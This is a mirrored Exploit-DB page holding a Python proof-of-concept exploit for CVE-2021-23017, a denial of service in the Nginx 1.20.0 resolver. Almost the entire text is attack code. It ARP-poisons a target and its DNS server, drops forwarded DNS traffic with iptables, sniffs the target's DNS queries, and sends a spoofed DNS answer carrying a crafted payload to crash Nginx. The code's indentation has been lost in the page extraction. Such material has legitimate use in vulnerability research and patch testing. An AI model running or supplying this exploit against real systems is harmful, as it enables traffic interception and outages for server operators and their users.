Nginx 1.20.0 – Denial of Service (DOS)

  • 作者: Mohammed Alshehri
    日期: 2022-07-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50973/
  • # Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
    # Date: 2022-6-29
    # Exploit Author: Mohammed Alshehri - https://Github.com/M507
    # Vendor Homepage: https://nginx.org/
    # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
    # Version: 0.6.18 - 1.20.0
    # Tested on: Ubuntu 18.04.4 LTS bionic 
    # CVE: CVE-2021-23017
    # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
    # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
    # The service needs to be configured to use Nginx resolver
    
    from scapy.all import *
    from multiprocessing import Process
    from binascii import hexlify, unhexlify
    import argparse, time, os
    
    def device_setup():
    os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
    os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
    
    def ARPP(target, dns_server):
    print("[*] Sending poisoned ARP packets")
    target_mac = getmacbyip(target)
    dns_server_mac = getmacbyip(dns_server)
    while True:
    time.sleep(2)
    send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
    send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
    
    def exploit(target):
    print("[*] Listening ")
    sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
    
    """
    RFC schema
     0 1 2 3
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | LENGTH| ID|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |Q| OPCODE|A|T|R|R|Z|A|C| RCODE |QDCOUNT|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |ANCOUNT|NSCOUNT|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |ARCOUNT| QD|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | AN| NS|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    | AR|
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    
    Fig. DNS 
    
    """
    def process_received_packet(received_packet):
    if received_packet[IP].src == target_ip:
    if received_packet.haslayer(DNS):
    if DNSQR in received_packet:
    print("[*] the received packet: " + str(bytes_hex(received_packet)))
    print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
    try:
    # \/the received DNS request
    dns_request = received_packet[DNS].build()
    null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
    print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
    print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
    payload = [
    dns_request[0:2],
    b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
    dns_request[12:null_pointer_index+1],
    dns_request[null_pointer_index+1:null_pointer_index+3],
    dns_request[null_pointer_index+3:null_pointer_index+5],
    b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
    b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
    b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
    b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
    ]
    
    payload = b"".join(payload)
    spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
    UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
    payload)
    print("[+] dns answer: "+str(hexlify(payload)))
    print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
    
    sendp(spoofed_pkt, count=1)
    print("\n[+] malicious answer was sent")
    print("[+] exploited\n")
    except:
    print("\n[-] ERROR")
    
    def main():
    global target_ip
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="IP address of the target")
    parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
    args = parser.parse_args()
    target_ip = args.target
    dns_server_ip = args.dns_server
    device_setup()
    processes_list = []
    ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
    exploitProcess = Process(target=exploit,args=(target_ip,))
    processes_list.append(ARPPProcess)
    processes_list.append(exploitProcess)
    for process in processes_list:
    process.start()
    for process in processes_list:
    process.join()
    
    if __name__ == '__main__':
    target_ip = ""
    main()